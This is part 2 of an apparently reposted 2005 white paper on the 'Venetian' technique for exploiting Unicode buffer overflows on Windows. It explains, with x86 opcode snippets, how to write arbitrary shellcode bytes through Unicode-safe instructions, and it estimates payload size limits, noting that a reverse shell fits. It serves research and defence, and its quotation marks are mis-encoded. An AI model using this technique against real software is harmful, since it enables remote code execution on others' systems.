The Venetian Exploit Part 2

July 17, 2005

If none of the registers points to a location that we can safely overwrite, we just assign a constant pointer value to (say) eax using these instructions:
6A 00:push 0 58 :pop eax
(to assign “0� to eax), then we “add� and “sub� as described below, until eax points to a location in memory that we can safely overwrite with our “nop� equivalent alignment instructions. This gives us a convenient way of ‘realigning’ our instructions. As stated above, we assume that there is a register that points to our Unicode buffer. What we are going to do is “set� every 00 byte beyond a certain point in our buffer to the value of our choice, by doing this:

80 00 75:add byte ptr [eax],75h

…then incrementing eax twice…
40:inc eax 00 6D 00:add byte ptr [ebp],ch 40:inc eax
Then setting the next 00 byte. This will end up with arbitrary bytes being placed in a part of the buffer towards the end of our shellcode. The buffer will be laid out like this:
0×00000000
…
[ alternate-zero byte setting code ]
[ arbitrary bytes of shellcode ]
…
0xffffffff
Of course, the first thing we have to do is get a pointer to the part of the buffer
where we intend to start writing arbitrary bytes. To do this, we exchange the values of
the register that points to our shellcode with (say) eax, using the convenient one-byte “xchgâ€? instruction – one of the following:

93:xchg eax,ebx
91:xchg eax,ecx
92:xchg eax,edx
94:xchg eax,esp
xchg eax,ebp
96:xchg eax,esi
97:xchg eax,edi
We then modify the value of eax using “add� and “sub�, to make it point to the “arbitrary byte� part of our buffer:
05 00 75 00 4C: add eax,4C007500h
2D 00 75 00 4C: sub eax,4C007500h

Multiple “add� and “sub� operations will probably be necessary. We can easily add multiples of 256 by going like this:

add eax,4C007500h sub eax,4C007400h

We then start adding and incrementing as described above. Our arbitrary code gets executed due to the fact that we just execute through our “byte setting� code and into the arbitrary code. If we get that initial pointer offset right, we will just continue executing into our arbitrary code.

[Problems]
First; if the target program has a high bit filter, this technique is very hard, because it is probably necessary to do the initial pointer “xchgâ€?, and that requires an opcode above 0×7f. This is likely to create difficulty, although a series of ‘push’ and ‘pop’ instructions
could be made to be equivalent. Size is also an issue – the instruction sequence to set a single 00 byte looks like this:
40 :inc eax 00 6D 00:add byte ptr [ebp],ch
40 :inc eax 00 6D 00:add byte ptr [ebp],ch
80 00 75:add byte ptr [eax],75h 00 6D 00:add byte ptr [ebp],ch
… so that’s 14 bytes of code to set 2 arbitrary bytes (we get one for free, remember; the one that was already in the string). That means assuming a buffer of 1024 bytes that we can set, the maximum size of the exploit code will be (1024 * 2) / 14 = 146 bytes (since the size of a Unicode string doubles) Which isn’t much, but it is enough to do some harm; run an arbitrary command, for example.

It is probable that refinements to the technique are possible that reduce the amount of code necessary to create the arbitrary shellcode. To put this in context, code that will
initiate a reverse shell fits into less than 170 bytes. This technique will therefore probably be sufficient to successfully exploit a Unicode overflow in the “wild�.

[Conclusion]
The “Venetian� exploit technique described in this paper is a somewhat convoluted way of writing an exploit but it handles a situation that is quite commonly seen in the Windows family of operating systems.

Hopefully this paper has demonstrated that treating Unicode – based overflows as non-exploitable is dangerous. It is always safest to assume that if the execution path of a program can be affected in any way, that it is possible to execute arbitrary code.

More information:

Posted in WhitePapers